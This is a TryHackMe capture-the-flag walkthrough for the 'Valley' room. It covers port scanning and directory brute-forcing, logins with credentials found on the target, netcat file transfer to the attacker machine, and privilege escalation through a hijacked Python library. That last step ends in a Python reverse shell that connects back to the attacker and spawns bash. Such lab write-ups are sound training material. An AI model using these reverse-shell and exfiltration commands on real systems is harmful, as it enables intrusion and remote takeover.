> For the complete documentation index, see [llms.txt](https://jeffgthompsons-organization.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/valley.md).

# Valley

**Room Link:** <https://tryhackme.com/room/valleype>

### Initial Scan

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FdBwjFW8YpyF1XZNz1Ot7%2Fimage.png?alt=media&amp;token=a78b3257-6139-48ec-a2c0-dff495e233a8" alt=""><figcaption></figcaption></figure>

### Scan all ports

ftp found on port 37370

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fy0GqG0uW5BDG3ryc5ZQc%2Fimage.png?alt=media&amp;token=e960f9d4-7169-4e42-9c5e-3a039c6a37f5" alt=""><figcaption></figcaption></figure>

### TCP/80 - HTTP

**Kali**

```
gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FOMGaPYeHtDDjqB7s25Cn%2Fimage.png?alt=media&amp;token=65a6200f-da27-4552-9da2-e23e0134fa91" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FdT02YdBuT7fyhlOkS1yj%2Fimage.png?alt=media&amp;token=9cae022f-0fbc-4362-9ad3-0ec2955e5d81" alt=""><figcaption></figcaption></figure>

**Kali**

```
gobuster dir --url http://$VICTIM/static -w /usr/share/dirb/wordlists/big.txt -l
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F8d0n1TClxfPWR2mEzONJ%2Fimage.png?alt=media&amp;token=eee52d3d-1a6f-42dd-8336-8b716a4ff3b7" alt=""><figcaption></figcaption></figure>

**Kali**

```
ffuf -u http://$VICTIM/static/FUZZ -w /usr/share/dirb/wordlists/big.txt
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FaAy46FWQfTzztq0emUJm%2Fimage.png?alt=media&amp;token=9ab30b4f-b98a-4f64-bfc8-4b7f68dd7cd8" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FEeqVqaeEbiEWkxSsfgrs%2Fimage.png?alt=media&amp;token=18318274-5e2f-4551-81b0-6cc750d6b7bf" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FhjlPCYoLXD6HeuGHZ2nm%2Fimage.png?alt=media&amp;token=e4e3e380-5353-4b42-9219-3538e7546413" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FlT3cK336LLCzGunvxt4f%2Fimage.png?alt=media&amp;token=b6129bf7-140c-4929-aec7-108ae260b98d" alt=""><figcaption></figcaption></figure>

```
Username: siemDev
Password: california
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F8YPXYgXfqPuAsMiXJJoH%2Fimage.png?alt=media&amp;token=255f7ae3-efa1-4aba-b895-cdc9f5cf1dab" alt=""><figcaption></figcaption></figure>

### TCP/37370 - FTP

**Kali**

```
ftp $VICTIM 37370
Username: siemDev
Password: california
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FGCiOEwyOZgTWkR8ozr1F%2Fimage.png?alt=media&amp;token=8e11e942-de49-48dc-b48b-e17b4ec15027" alt=""><figcaption></figcaption></figure>

### TCP/22 - SSH

**Kali**

```
ssh valleyDev@$VICTIM
Password: ph0t0s1234
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FvemuCYZ458Mi77hnpZbp%2Fimage.png?alt=media&amp;token=ed492150-5774-4f85-ad2f-1e4b31524bf9" alt=""><figcaption></figcaption></figure>

**Kali**

```
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FS5mSUgcEllWqsfRmAqbV%2Fimage.png?alt=media&amp;token=3da40d1f-1e26-43ea-84cf-17feb6402c85" alt=""><figcaption></figcaption></figure>

## Lateral Movement

### Netcat

**Kali(receiving)**

```
nc -l -p 1234 > valleyAuthenticator
```

**Victim(sending)**

```
nc -w 3 $KALI 1234 < valleyAuthenticator
```

**Kali**

```
strings valleyAuthenticator > out.txt
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F2DunSyQXoOBcriKFwJ4M%2Fimage.png?alt=media&amp;token=c6eafcca-79f0-4424-bed0-eb230ebd6ed0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FNiNsHPrSuKIncfW4pRPZ%2Fimage.png?alt=media&amp;token=0ebb8f2a-b58b-48e3-9ec2-bed16a37a2f0" alt=""><figcaption></figcaption></figure>

**Victim**

```
Username: valley
Password: liberty123
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FGL3aInueWuNNL527fjmt%2Fimage.png?alt=media&amp;token=4db02ca5-2db4-4072-b6e6-86d5ec81c43e" alt=""><figcaption></figcaption></figure>

**Victim**

```
cat /photos/script/photosEncrypt.py
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FVy32onycnbOxWpwoQtTN%2Fimage.png?alt=media&amp;token=8b779dbe-abad-4348-84fc-36547158e199" alt=""><figcaption></figcaption></figure>

**Victim**

```
locate base64
ls -lah /usr/lib/python3.8/base64.py
groups
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FhnFvvQqqb2KcCAsdsTPR%2Fimage.png?alt=media&amp;token=444352ce-3402-4288-a846-7c1b3f550f6a" alt=""><figcaption></figcaption></figure>

#### Python Reverse Shell

```
from os import dup2
from subprocess import run
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("$KALI",1337)) 
dup2(s.fileno(),0) 
dup2(s.fileno(),1) 
dup2(s.fileno(),2) 
run(["/bin/bash","-i"])
```

**Kali**

```
nc -lvnp 1337
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F3sYHIdaKRSXrw1AP4eKO%2Fimage.png?alt=media&amp;token=fe232f71-dac5-435e-90d1-35a562c7ae91" alt=""><figcaption></figcaption></figure>
